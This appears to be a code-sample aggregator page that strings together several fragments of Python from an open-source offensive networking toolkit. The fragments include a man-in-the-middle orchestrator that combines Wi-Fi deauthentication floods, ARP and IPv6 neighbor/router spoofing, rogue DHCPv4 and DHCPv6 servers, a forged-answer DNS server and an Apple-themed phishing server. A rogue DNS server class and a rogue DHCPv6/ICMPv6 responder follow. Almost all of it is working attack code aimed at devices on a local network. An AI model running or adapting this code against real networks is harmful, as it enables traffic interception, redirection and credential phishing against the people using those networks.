                self._wifi.send_deauth(bssid=self._your['bssid'],
                                       client=self._target['mac-address'],
                                       number_of_deauth_packets=number_of_deauth_packets)
                number_of_deauth_packets += 25
                sleep(30)
    # endregion

    # region ARP spoofing
    def _arp_spoof(self):
        sleep(3)
        arp_spoof: ArpSpoof = ArpSpoof(network_interface=self._your['network-interface'])
        arp_spoof.start(gateway_ipv4_address=self._gateway['ipv4-address'],
                        target_ipv4_address=self._target['ipv4-address'],
                        target_mac_address=self._target['mac-address'],
                        quiet=False)
    # endregion

    # region NA spoofing
    def _na_spoof(self):
        # sleep(3)
        ipv6_spoof: IPv6Spoof = IPv6Spoof(network_interface=self._your['network-interface'])
        ipv6_spoof.start(technique=2,
                         target_ipv6_address=self._target['ipv6-address'],
                         target_mac_address=self._target['mac-address'],
                         gateway_ipv6_address=self._gateway['ipv6-address'],
                         dns_ipv6_address=self._dns_server['ipv6-address'],
                         ipv6_prefix=self._ipv6_network_prefix,
                         quiet=False)
    # endregion

    # region RA spoofing
    def _ra_spoof(self):
        # sleep(3)
        ipv6_spoof: IPv6Spoof = IPv6Spoof(network_interface=self._your['network-interface'])
        ipv6_spoof.start(technique=1,
                         target_ipv6_address=self._target['ipv6-address'],
                         target_mac_address=self._target['mac-address'],
                         gateway_ipv6_address=self._gateway['ipv6-address'],
                         dns_ipv6_address=self._dns_server['ipv6-address'],
                         ipv6_prefix=self._ipv6_network_prefix,
                         quiet=False)
    # endregion

    # region DHCPv4 server
    def _dhcpv4_server(self):
        sleep(3)
        dhcpv4_server: DHCPv4Server = DHCPv4Server(network_interface=self._your['network-interface'])
        dhcpv4_server.start(target_mac_address=self._target['mac-address'],
                            target_ipv4_address=self._target['ipv4-address'],
                            dns_server_ipv4_address=self._dns_server['ipv4-address'],
                            router_ipv4_address=self._gateway['ipv4-address'],
                            apple=True, quiet=False, exit_on_success=True)
    # endregion

    # region DHCPv4 server for Apple devices
    def _apple_dhcpv4_server(self):
        sleep(3)
        apple_dhcp_server: AppleDHCPServer = AppleDHCPServer(network_interface=self._your['network-interface'])
        apple_dhcp_server.start(target_ip_address=self._target['new-ipv4-address'],
                                target_mac_address=self._target['mac-address'],
                                quiet=False)
    # endregion

    # region DHCPv6 server
    def _dhcpv6_server(self):
        sleep(5)
        dhcpv6_server: DHCPv6Server = DHCPv6Server(network_interface=self._your['network-interface'])
        dhcpv6_server.start(target_ipv6_address=self._target['new-ipv6-address'],
                            target_mac_address=self._target['mac-address'],
                            dns_server_ipv6_address=self._dns_server['ipv6-address'],
                            ipv6_prefix=self._ipv6_network_prefix,
                            exit_on_success=True, quiet=False)
    # endregion

    # region DNS server
    def _start_dns_server(self):
        dns_server: DnsServer = DnsServer(network_interface=self._your['network-interface'])
        dns_server.start(fake_answers=True,
                         success_domains=['captive.apple.com', 'authentication.net'],
                         listen_ipv6=True)
    # endregion

    # region IPv4 Phishing server
    @staticmethod
    def _start_ipv4_phishing(phishing_site: str = 'apple'):
        phishing_server: PhishingServer = PhishingServer()
        phishing_server.start(address='0.0.0.0', port=80, site=phishing_site,
                              redirect='authentication.net', quiet=False)
    # endregion

    # region IPv6 Phishing server
    @staticmethod
    def _start_ipv6_phishing(phishing_site: str = 'apple'):
        phishing_server: PhishingServer = PhishingServer()
        phishing_server.start(address='::', port=80, site=phishing_site,
                              redirect='authentication.net', quiet=False)
    # endregion

    # region Requests sniffer PRN function
    def _deauth_stop_prn(self, request: Dict):
        if 'DHCPv4' in request.keys() or 'ICMPv6' in request.keys():
            self._deauth_stop = True
    # endregion

    # region Requests sniffer function
    def _deauth_stop_sniffer(self):

        # region Set network filter
        network_filters = {'Ethernet': {'source': self._target['mac-address']}}

        if self._mitm_technique == 2:
            network_filters = {
                'Ethernet': {
                    'source': self._target['mac-address'],
                    'destination': 'ff:ff:ff:ff:ff:ff'
                },
                'IPv4': {
                    'source-ip': '0.0.0.0',
                    'destination-ip': '255.255.255.255'
                },
                'UDP': {
                    'source-port': 68,
                    'destination-port': 67
                }
            }
        # endregion

        # region Start sniffer
        sniff = RawSniff()
        sniff.start(protocols=['IPv4', 'IPv6', 'ICMPv6', 'UDP', 'DHCPv4'],
                    prn=self._deauth_stop_prn, filters=network_filters,
                    network_interface=self._your['network-interface'],
                    scapy_filter='icmp6 or (udp and (port 67 or 68))',
                    scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
예제 #3
0
# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.1.1'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Stable'
# endregion

# region Main function
if __name__ == "__main__":

    # region Check user, platform and print banner
    Base = Base()
    Base.check_platform()
    Base.check_user()
    Base.print_banner()
    # endregion

    # region Parse script arguments
    parser = ArgumentParser(description='ICMPv6 router advertisement packets sender')

    parser.add_argument('-i', '--interface', type=str, help='Set interface name for send TCP packets')

    parser.add_argument('-m', '--src_mac', type=str, help='Set src mac address (not required)', default=None)
    parser.add_argument('-M', '--dst_mac', type=str, help='Set dst mac address (not required)', default=None)
    parser.add_argument('-a', '--src_ipv6', type=str, help='Set src ipv6 address (not required)', default=None)
    parser.add_argument('-A', '--dst_ipv6', type=str, help='Set dst ipv6 address (not required)', default=None)
예제 #4
0
class RawDnsServer:

    # region Set properties
    base: Base = Base()
    sniff: RawSniff = RawSniff()
    dns: RawDNS = RawDNS()

    rawSocket: socket = socket(AF_PACKET, SOCK_RAW)
    your_ipv4_address: Union[None, str] = None
    your_ipv6_address: Union[None, str] = None
    config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict()

    A_DNS_QUERY: int = 1
    AAAA_DNS_QUERY: int = 28
    NS_DNS_QUERY: int = 2
    MX_DNS_QUERY: int = 15

    log_file_name: Union[None, str] = None
    log_file_format: Union[None, str] = None

    # endregion

    # region Init
    def __init__(self):
        # Iptables drop output ICMP and ICMPv6 destination-unreachable packets
        run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP',
            shell=True)
        run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP',
            shell=True)

    # endregion

    # region Write log file
    def _write_to_log(self, from_ip_address: str, to_ip_address: str,
                      query_type: str, query_name: str, answer_address: str):

        if not isfile(self.log_file_name + '.' + self.log_file_format):
            with open(file=self.log_file_name + '.' + self.log_file_format,
                      mode='w') as log_file:
                if self.log_file_format == 'csv':
                    log_file.write(
                        'From IP address,To IP address,Query type,Query name,Answer address\n'
                    )
                if self.log_file_format == 'xml':
                    log_file.write(
                        '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n'
                    )
                if self.log_file_format == 'json':
                    log_file.write('{\n"dns_queries": [\n')

        with open(file=self.log_file_name + '.' + self.log_file_format,
                  mode='r+') as log_file:

            log_file_pointer: int = getsize(self.log_file_name + '.' +
                                            self.log_file_format)

            if self.log_file_format == 'csv' or self.log_file_format == 'txt':
                log_file.seek(log_file_pointer)
                log_file.write(from_ip_address + ',' + to_ip_address + ',' +
                               query_type + ',' + query_name + ',' +
                               answer_address + '\n')

            if self.log_file_format == 'json':
                if log_file_pointer > 20:
                    log_file.seek(log_file_pointer - 4, 0)
                    log_file.write(',')
                else:
                    log_file.seek(log_file_pointer)
                dump(
                    {
                        'from_ip_address': from_ip_address,
                        'to_ip_address': to_ip_address,
                        'query_type': query_type,
                        'query_name': query_name,
                        'answer_address': answer_address
                    },
                    log_file,
                    indent=4)
                log_file.write(']\n}\n')

            if self.log_file_format == 'xml':
                log_file.seek(log_file_pointer - 15, 0)
                log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' +
                               from_ip_address + '</from_ip_address>\n' +
                               '\t\t<to_ip_address>' + to_ip_address +
                               '</to_ip_address>\n' + '\t\t<query_type>' +
                               query_type + '</query_type>\n' +
                               '\t\t<query_name>' + query_name +
                               '</query_name>\n' + '\t\t<answer_address>' +
                               answer_address + '</answer_address>\n' +
                               '\t</dns_query>\n' + '</dns_queries>\n')

    # endregion

    # region DNS integer query type to string
    @staticmethod
    def _int_type_to_str_type(query_type: int = 1) -> str:
        if query_type == RawDnsServer.A_DNS_QUERY:
            return 'A'
        elif query_type == RawDnsServer.AAAA_DNS_QUERY:
            return 'AAAA'
        elif query_type == RawDnsServer.NS_DNS_QUERY:
            return 'NS'
        elif query_type == RawDnsServer.MX_DNS_QUERY:
            return 'MX'
        else:
            return 'A'

    # endregion

    # region DNS string query type to integer
    @staticmethod
    def _str_type_to_int_type(query_type: str = 'A') -> int:
        if query_type == 'A':
            return RawDnsServer.A_DNS_QUERY
        elif query_type == 'AAAA':
            return RawDnsServer.AAAA_DNS_QUERY
        elif query_type == 'NS':
            return RawDnsServer.NS_DNS_QUERY
        elif query_type == 'MX':
            return RawDnsServer.MX_DNS_QUERY
        else:
            return 1

    # endregion

    # region Get first IPv4 or IPv6 address of domain
    @staticmethod
    def _get_domain_address(query_name: str,
                            query_type: int = 1) -> Union[List[str], None]:

        # region Check DNS query type and set proto
        if query_type == RawDnsServer.AAAA_DNS_QUERY:
            proto: int = AF_INET6
        elif query_type == RawDnsServer.A_DNS_QUERY:
            proto: int = AF_INET
        else:
            return None
        # endregion

        # region Resolve query name
        try:
            # Get list of addresses
            addresses = getaddrinfo(query_name, None, proto)
            # Return first address from list
            return [addresses[0][4][0]]
        except gaierror:
            # Could not resolve name
            return None
        # endregion

    # endregion

    # region DNS reply function
    def _reply(self, request: Dict) -> None:
        try:

            # region This request is DNS query
            assert 'DNS' in request.keys(), 'This is not DNS request!'

            for query in request['DNS']['queries']:

                # region Local variables
                assert ('IPv4' in request.keys() or 'IPv6'
                        in request.keys()), 'Not found Network layer protocol!'
                ip_src: Union[None, str] = None
                ip_dst: Union[None, str] = None
                if 'IPv4' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv4']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv4']['source-ip']
                if 'IPv6' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv6']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv6']['source-ip']
                answers: List[Dict[str, Union[int, str]]] = list()
                addresses: Union[None, str, List[str]] = None
                success: bool = False
                # endregion

                # region Check query name
                if query['name'].endswith('.'):
                    query['name']: str = query['name'][:-1]
                # endregion

                # region Check config
                for fake_domain_regexp in self.config.keys():

                    if match(fake_domain_regexp, query['name']):

                        # region No such domain
                        if 'no such domain' in self.config[
                                fake_domain_regexp].keys():
                            if self.config[fake_domain_regexp][
                                    'no such domain']:
                                addresses = ['no such domain']
                                break
                        # endregion

                        # region Success domain
                        if 'success' in self.config[fake_domain_regexp].keys():
                            if self.config[fake_domain_regexp]['success']:
                                success = True
                        # endregion

                        # region Fake addresses is set
                        query_type_string: str = self._int_type_to_str_type(
                            query['type'])
                        if query_type_string in self.config[
                                fake_domain_regexp].keys():
                            if type(self.config[fake_domain_regexp]
                                    [query_type_string]) is str:
                                if self.config[fake_domain_regexp][
                                        query_type_string] == 'my ipv4 address':
                                    addresses = [self.your_ipv4_address]
                                elif self.config[fake_domain_regexp][
                                        query_type_string] == 'my ipv6 address':
                                    addresses = [self.your_ipv6_address]
                                else:
                                    addresses = [
                                        self.config[fake_domain_regexp]
                                        [query_type_string]
                                    ]
                            if type(self.config[fake_domain_regexp]
                                    [query_type_string]) is list:
                                addresses = self.config[fake_domain_regexp][
                                    query_type_string]
                            break
                        # endregion

                        # region Fake address is NOT set
                        else:
                            addresses = self._get_domain_address(
                                query['name'], query['type'])
                        # endregion

                # endregion

                # region DNS query name NOT in fake domains regexp list
                if addresses is None:
                    addresses = self._get_domain_address(
                        query['name'], query['type'])
                # endregion

                # endregion

                # region Answer addresses is set

                assert addresses is not None, 'Addresses in DNS answer is None!'

                # region Create answer list
                dns_answer_flags = 0x8080

                for address in addresses:
                    if address == 'no such domain':
                        dns_answer_flags = 0x8183
                        answers = list()
                        break
                    else:
                        answers.append({
                            'name': query['name'],
                            'type': query['type'],
                            'class': query['class'],
                            'ttl': 65535,
                            'address': address
                        })

                # endregion

                # region Make dns answer packet
                dns_answer_packet: Union[
                    None, bytes] = self.dns.make_response_packet(
                        ethernet_src_mac=request['Ethernet']['destination'],
                        ethernet_dst_mac=request['Ethernet']['source'],
                        ip_src=ip_src,
                        ip_dst=ip_dst,
                        udp_src_port=request['UDP']['destination-port'],
                        udp_dst_port=request['UDP']['source-port'],
                        transaction_id=request['DNS']['transaction-id'],
                        flags=dns_answer_flags,
                        queries=[query],
                        answers_address=answers)
                # endregion

                # region Send DNS answer packet
                if dns_answer_packet is not None:
                    self.rawSocket.send(dns_answer_packet)
                # endregion

                # region Print info message
                if success and query['name'] != '':
                    self.base.print_success(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                if not success and query['name'] != '':
                    self.base.print_info(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                self._write_to_log(from_ip_address=ip_dst,
                                   to_ip_address=ip_src,
                                   query_type=self._int_type_to_str_type(
                                       query['type']),
                                   query_name=query['name'],
                                   answer_address=(' '.join(addresses)))
                # endregion

                # endregion

            # endregion

        except AssertionError:
            pass

    # endregion

    # region Start DNS listener
    def listen(self,
               listen_network_interface: str = 'eth0',
               listen_port: int = 53,
               target_mac_address: Union[None, str] = None,
               target_ipv4_address: Union[None, str] = None,
               target_ipv6_address: Union[None, str] = None,
               fake_answers: bool = False,
               fake_ipv4_addresses: List[str] = [],
               fake_ipv6_addresses: List[str] = [],
               fake_domains_regexp: List[str] = [],
               no_such_domains: List[str] = [],
               listen_ipv6: bool = False,
               disable_ipv4: bool = False,
               success_domains: List[str] = [],
               config_file: Union[None, str] = None,
               log_file_name: str = 'dns_server_log',
               log_file_format: str = 'csv') -> None:
        try:
            # region Set log file name and format
            self.log_file_name = log_file_name
            self.log_file_format = log_file_format
            # endregion

            # region Set listen UDP port
            if listen_port != 53:
                assert 0 < listen_port < 65536, \
                    'Bad value in "listen_port": ' + self.base.error_text(str(listen_port)) + \
                    ' listen UDP port must be in range: ' + self.base.info_text('1 - 65535')
            # endregion

            # region Get your MAC, IP and IPv6 addresses
            your_mac_address = self.base.get_interface_mac_address(
                listen_network_interface)
            self.your_ipv4_address = self.base.get_interface_ip_address(
                listen_network_interface)
            self.your_ipv6_address = self.base.make_ipv6_link_address(
                your_mac_address)
            if listen_ipv6:
                self.your_ipv6_address = self.base.get_interface_ipv6_link_address(
                    listen_network_interface)
            # endregion

            # region Bind raw socket
            self.rawSocket.bind((listen_network_interface, 0))
            # endregion

            # region Check config file
            if config_file is not None:
                assert isfile(
                    config_file
                ), 'Not found config file: ' + self.base.error_text(
                    str(config_file))
                with open(config_file, 'r') as config_file_descriptor:
                    self.config = load(config_file_descriptor)
            # endregion

            # region Set fake ipv4 addresses
            if len(fake_ipv4_addresses) == 0:
                fake_ipv4_addresses = [self.your_ipv4_address]
            else:
                for fake_ipv4_address in fake_ipv4_addresses:
                    assert self.base.ip_address_validation(fake_ipv4_address), \
                        'Bad fake IPv4 address: ' + self.base.error_text(fake_ipv4_address) + \
                        ' example IPv4 address: ' + self.base.info_text('192.168.1.1')
            # endregion

            # region Set fake ipv6 addresses
            if len(fake_ipv6_addresses) == 0:
                fake_ipv6_addresses = [self.your_ipv6_address]
            else:
                for fake_ipv6_address in fake_ipv6_addresses:
                    assert self.base.ipv6_address_validation(fake_ipv6_address), \
                        'Bad fake IPv6 address: ' + self.base.error_text(fake_ipv6_address) + \
                        ' example IPv6 address: ' + self.base.info_text('fd00::1')
            # endregion

            # region Set success domains
            for success_domain in success_domains:
                try:
                    self.config[success_domain].update({'success': True})
                except KeyError:
                    self.config[success_domain] = {'success': True}
            # endregion

            # region Set no such domains
            for no_such_domain in no_such_domains:
                try:
                    self.config[no_such_domain].update(
                        {'no such domain': True})
                except KeyError:
                    self.config[no_such_domain] = {'no such domain': True}
            # endregion

            # region Set fake domains regexp
            for fake_domain_regexp in fake_domains_regexp:
                try:
                    self.config[fake_domain_regexp].update({
                        'A':
                        fake_ipv4_addresses,
                        'AAAA':
                        fake_ipv6_addresses
                    })
                except KeyError:
                    self.config[fake_domain_regexp] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Set fake answers
            if fake_answers:
                try:
                    self.config['.*'].update({
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    })
                except KeyError:
                    self.config['.*'] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Check target MAC address
            if target_mac_address is not None:
                assert self.base.mac_address_validation(target_mac_address), \
                    'Bad target MAC address: ' + self.base.error_text(target_mac_address) + \
                    ' example MAC address: ' + self.base.info_text('01:23:45:67:89:0a')
                self.target_mac_address = target_mac_address
            # endregion

            # region Check target IPv4 address
            if target_ipv4_address is not None:
                assert self.base.ip_address_validation(target_ipv4_address), \
                    'Bad target IPv4 address: ' + self.base.error_text(target_ipv4_address) + \
                    ' example IPv4 address: ' + self.base.info_text('192.168.1.1')
            # endregion

            # region Check target IPv6 address
            if target_ipv6_address is not None:
                assert self.base.ipv6_address_validation(target_ipv6_address), \
                    'Bad target IPv6 address: ' + self.base.error_text(target_ipv6_address) + \
                    ' example IPv6 address: ' + self.base.info_text('fd00::1')
            # endregion

            # region Sniffing DNS requests

            # region Set network filter
            network_filters = {}

            if listen_network_interface != 'lo':
                if target_mac_address is not None:
                    network_filters['Ethernet'] = {
                        'source': target_mac_address
                    }
                else:
                    network_filters['Ethernet'] = {
                        'not-source': your_mac_address
                    }
                if target_ipv4_address is not None:
                    network_filters['IPv4'] = {
                        'source-ip': target_ipv4_address
                    }
                if target_ipv6_address is not None:
                    network_filters['IPv6'] = {
                        'source-ip': target_ipv6_address
                    }
                network_filters['IPv4'] = {'not-source-ip': '127.0.0.1'}
                network_filters['IPv6'] = {'not-source-ip': '::1'}
                network_filters['UDP'] = {'destination-port': listen_port}
            else:
                network_filters['Ethernet'] = {
                    'source': '00:00:00:00:00:00',
                    'destination': '00:00:00:00:00:00'
                }
                network_filters['IPv4'] = {
                    'source-ip': '127.0.0.1',
                    'destination-ip': '127.0.0.1'
                }
                network_filters['IPv6'] = {
                    'source-ip': '::1',
                    'destination-ip': '::1'
                }
                network_filters['UDP'] = {'destination-port': listen_port}
            # endregion

            # region Start sniffer
            if listen_ipv6:
                if disable_ipv4:
                    self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'],
                                     prn=self._reply,
                                     filters=network_filters)
                else:
                    self.sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS'],
                                     prn=self._reply,
                                     filters=network_filters)
            else:
                self.sniff.start(protocols=['IPv4', 'UDP', 'DNS'],
                                 prn=self._reply,
                                 filters=network_filters)
            # endregion

            # endregion

        except AssertionError as Error:
            self.base.print_error(Error.args[0])
            exit(1)

        except JSONDecodeError:
            self.base.print_error('Could not parse config file: ', config_file,
                                  ' invalid json syntax')
            exit(1)
예제 #5
0
def reply(request):

    # region Define global variables
    global global_socket
    global disable_dhcpv6
    global clients
    global target_ipv6_address
    global first_suffix
    global last_suffix
    # endregion

    # region Get client MAC address
    client_mac_address = request['Ethernet']['source']
    # endregion

    # region Check this client already in global clients dictionary
    client_already_in_dictionary = False
    if client_mac_address in clients.keys():
        client_already_in_dictionary = True
    # endregion

    # region ICMPv6
    if 'ICMPv6' in request.keys():

        # region ICMPv6 Router Solicitation
        if request['ICMPv6']['type'] == 133:

            # Make and send ICMPv6 router advertisement packet
            icmpv6_ra_packet = icmpv6.make_router_advertisement_packet(
                ethernet_src_mac=your_mac_address,
                ethernet_dst_mac=request['Ethernet']['source'],
                ipv6_src=your_local_ipv6_address,
                ipv6_dst=request['IPv6']['source-ip'],
                dns_address=recursive_dns_address,
                domain_search=dns_search,
                prefix=network_prefix,
                router_lifetime=5000)
            global_socket.send(icmpv6_ra_packet)

            # Print info messages
            Base.print_info(
                "ICMPv6 Router Solicitation request from: ",
                request['IPv6']['source-ip'] + " (" +
                request['Ethernet']['source'] + ")")
            Base.print_info(
                "ICMPv6 Router Advertisement reply to: ",
                request['IPv6']['source-ip'] + " (" +
                request['Ethernet']['source'] + ")")

            # Delete this client from global clients dictionary
            try:
                del clients[client_mac_address]
                client_already_in_dictionary = False
            except KeyError:
                pass

            # Add client info in global clients dictionary
            add_client_info_in_dictionary(client_mac_address, {
                "router solicitation": True,
                "network prefix": network_prefix
            }, client_already_in_dictionary)

        # endregion

        # region ICMPv6 Neighbor Solicitation
        if request['ICMPv6']['type'] == 135:

            # region Get ICMPv6 Neighbor Solicitation target address
            target_address = request['ICMPv6']['target-address']
            # endregion

            # region Network prefix in ICMPv6 Neighbor Solicitation target address is bad
            if not target_address.startswith('fe80::'):
                if not target_address.startswith(network_prefix_address):
                    na_packet = icmpv6.make_neighbor_advertisement_packet(
                        ethernet_src_mac=your_mac_address,
                        ipv6_src=your_local_ipv6_address,
                        target_ipv6_address=target_address)
                    for _ in range(5):
                        global_socket.send(na_packet)
            # endregion

            # region ICMPv6 Neighbor Solicitation target address is your local IPv6 address
            if target_address == your_local_ipv6_address:

                # Add client info in global clients dictionary
                add_client_info_in_dictionary(
                    client_mac_address,
                    {"neighbor solicitation your address": True},
                    client_already_in_dictionary)
            # endregion

            # region DHCPv6 advertise address is set

            # This client already in dictionary
            if client_already_in_dictionary:

                # Advertise address for this client is set
                if 'advertise address' in clients[client_mac_address].keys():

                    # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
                    if target_address == clients[client_mac_address][
                            'advertise address']:

                        # Add client info in global clients dictionary
                        add_client_info_in_dictionary(
                            client_mac_address,
                            {"neighbor solicitation advertise address": True},
                            client_already_in_dictionary)

                    # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
                    else:
                        if not target_address.startswith('fe80::'):
                            na_packet = icmpv6.make_neighbor_advertisement_packet(
                                ethernet_src_mac=your_mac_address,
                                ipv6_src=your_local_ipv6_address,
                                target_ipv6_address=target_address)
                            for _ in range(5):
                                global_socket.send(na_packet)

            # endregion

            # region Print MITM Success message
            if not disable_dhcpv6:
                try:
                    if clients[client_mac_address]['dhcpv6 mitm'] == 'success':
                        test = clients[client_mac_address][
                            'neighbor solicitation your address']

                        try:
                            test = clients[client_mac_address][
                                'success message']
                        except KeyError:
                            Base.print_success(
                                "MITM success: ", clients[client_mac_address]
                                ['advertise address'] + " (" +
                                client_mac_address + ")")
                            clients[client_mac_address].update(
                                {"success message": True})
                except KeyError:
                    pass
            # endregion

        # endregion

    # endregion

    # region DHCPv6

    # Protocol DHCPv6 is enabled
    if not disable_dhcpv6:

        if 'DHCPv6' in request.keys():

            # region DHCPv6 Solicit
            if request['DHCPv6']['message-type'] == 1:
                '''
                # Get Client DUID time from Client Identifier DUID
                client_duid_time = 0
                for dhcpv6_option in request['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 1:
                        client_duid_time = dhcpv6_option['value']['duid-time']
                '''

                # Get Client Identifier and IA_NA/IAID values
                cid = None
                iaid = None
                for opt in request['DHCPv6']['options']:
                    if opt['type'] == 1:
                        cid = opt['value']['raw']
                    elif opt['type'] == 3:
                        iaid = opt['value']['iaid']
                if cid == None or iaid == None:
                    Base.print_info(
                        "Malformed DHCPv6 Solicit from: ",
                        request['IPv6']['source-ip'] + " (" +
                        request['Ethernet']['source'] + ")", " XID: ",
                        hex(request['DHCPv6']['transaction-id']))
                    return

                # Set IPv6 address in advertise packet
                if target_ipv6_address is not None:
                    ipv6_address = target_ipv6_address
                else:
                    ipv6_address = network_prefix.split('/')[0] + str(
                        randint(first_suffix, last_suffix))

                # Make and send DHCPv6 advertise packet
                dhcpv6_advertise = dhcpv6.make_advertise_packet(
                    ethernet_src_mac=your_mac_address,
                    ethernet_dst_mac=request['Ethernet']['source'],
                    ipv6_src=your_local_ipv6_address,
                    ipv6_dst=request['IPv6']['source-ip'],
                    transaction_id=request['DHCPv6']['transaction-id'],
                    dns_address=recursive_dns_address,
                    domain_search=dns_search,
                    ipv6_address=ipv6_address,
                    cid=cid,
                    iaid=iaid,
                    preference=255)
                global_socket.send(dhcpv6_advertise)

                # Print info messages
                Base.print_info(
                    "DHCPv6 Solicit from: ", request['IPv6']['source-ip'] +
                    " (" + request['Ethernet']['source'] + ")", " XID: ",
                    hex(request['DHCPv6']['transaction-id']))
                Base.print_info(
                    "DHCPv6 Advertise to: ", request['IPv6']['source-ip'] +
                    " (" + request['Ethernet']['source'] + ")", " XID: ",
                    hex(request['DHCPv6']['transaction-id']), " IAA: ",
                    ipv6_address)

                # Add client info in global clients dictionary
                add_client_info_in_dictionary(client_mac_address, {
                    "dhcpv6 solicit": True,
                    "advertise address": ipv6_address
                }, client_already_in_dictionary)

            # endregion

            # region DHCPv6 Request
            if request['DHCPv6']['message-type'] == 3:

                # Set DHCPv6 reply packet
                dhcpv6_reply = None

                # region Get Client DUID time, IPv6 address and Server MAC address
                client_duid_time = 0
                client_ipv6_address = None
                server_mac_address = None

                for dhcpv6_option in request['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 1:
                        client_duid_time = dhcpv6_option['value']['duid-time']
                    if dhcpv6_option['type'] == 2:
                        server_mac_address = dhcpv6_option['value'][
                            'mac-address']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                if server_mac_address and client_ipv6_address is not None:

                    # Check Server MAC address
                    if server_mac_address != your_mac_address:
                        add_client_info_in_dictionary(
                            client_mac_address, {
                                "dhcpv6 mitm":
                                "error: server mac address is not your mac address"
                            }, client_already_in_dictionary)
                    else:
                        add_client_info_in_dictionary(
                            client_mac_address, {"dhcpv6 mitm": "success"},
                            client_already_in_dictionary)

                        try:
                            if client_ipv6_address == clients[
                                    client_mac_address]['advertise address']:
                                dhcpv6_reply = dhcpv6.make_reply_packet(
                                    ethernet_src_mac=your_mac_address,
                                    ethernet_dst_mac=request['Ethernet']
                                    ['source'],
                                    ipv6_src=your_local_ipv6_address,
                                    ipv6_dst=request['IPv6']['source-ip'],
                                    transaction_id=request['DHCPv6']
                                    ['transaction-id'],
                                    dns_address=recursive_dns_address,
                                    domain_search=dns_search,
                                    ipv6_address=client_ipv6_address,
                                    client_duid_timeval=client_duid_time)
                                global_socket.send(dhcpv6_reply)
                            else:
                                add_client_info_in_dictionary(
                                    client_mac_address, {
                                        "dhcpv6 mitm":
                                        "error: client request address is not advertise address"
                                    }, client_already_in_dictionary)

                        except KeyError:
                            add_client_info_in_dictionary(
                                client_mac_address, {
                                    "dhcpv6 mitm":
                                    "error: not found dhcpv6 solicit request for this client"
                                }, client_already_in_dictionary)

                    # Print info messages
                    Base.print_info(
                        "DHCPv6 Request from: ", request['IPv6']['source-ip'] +
                        " (" + request['Ethernet']['source'] + ")", " XID: ",
                        hex(request['DHCPv6']['transaction-id']), " Server: ",
                        server_mac_address, " IAA: ", client_ipv6_address)

                    if dhcpv6_reply is not None:
                        Base.print_info(
                            "DHCPv6 Reply to:     ",
                            request['IPv6']['source-ip'] + " (" +
                            request['Ethernet']['source'] + ")", " XID: ",
                            hex(request['DHCPv6']['transaction-id']),
                            " Server: ", server_mac_address, " IAA: ",
                            client_ipv6_address)
                    else:
                        if clients[client_mac_address]["dhcpv6 mitm"] == \
                                "error: server mac address is not your mac address":
                            Base.print_error(
                                "Server MAC address in DHCPv6 Request is not your MAC address "
                                + "for this client: ", client_mac_address)

                        if clients[client_mac_address]["dhcpv6 mitm"] == \
                                "error: client request address is not advertise address":
                            Base.print_error(
                                "Client requested IPv6 address is not advertise IPv6 address "
                                + "for this client: ", client_mac_address)

                        if clients[client_mac_address]["dhcpv6 mitm"] == \
                                "error: not found dhcpv6 solicit request for this client":
                            Base.print_error(
                                "Could not found DHCPv6 solicit request " +
                                "for this client: ", client_mac_address)

            # endregion

            # region DHCPv6 Release
            if request['DHCPv6']['message-type'] == 8:
                # Print info message
                Base.print_info(
                    "DHCPv6 Release from: ", request['IPv6']['source-ip'] +
                    " (" + request['Ethernet']['source'] + ")", " XID: ",
                    hex(request['DHCPv6']['transaction-id']))

                # Delete this client from global clients dictionary
                try:
                    del clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass

            # endregion

            # region DHCPv6 Confirm
            if request['DHCPv6']['message-type'] == 4:

                # region Get Client DUID time and client IPv6 address
                client_duid_time = 0
                client_ipv6_address = None

                for dhcpv6_option in request['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 1:
                        client_duid_time = dhcpv6_option['value']['duid-time']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                # region Make and send DHCPv6 Reply packet
                dhcpv6_reply = dhcpv6.make_reply_packet(
                    ethernet_src_mac=your_mac_address,
                    ethernet_dst_mac=request['Ethernet']['source'],
                    ipv6_src=your_local_ipv6_address,
                    ipv6_dst=request['IPv6']['source-ip'],
                    transaction_id=request['DHCPv6']['transaction-id'],
                    dns_address=recursive_dns_address,
                    domain_search=dns_search,
                    ipv6_address=client_ipv6_address,
                    client_duid_timeval=client_duid_time)
                global_socket.send(dhcpv6_reply)
                # endregion

                # region Add Client info in global clients dictionary and print info message
                add_client_info_in_dictionary(
                    client_mac_address, {
                        "advertise address": client_ipv6_address,
                        "dhcpv6 mitm": "success"
                    }, client_already_in_dictionary)

                Base.print_info(
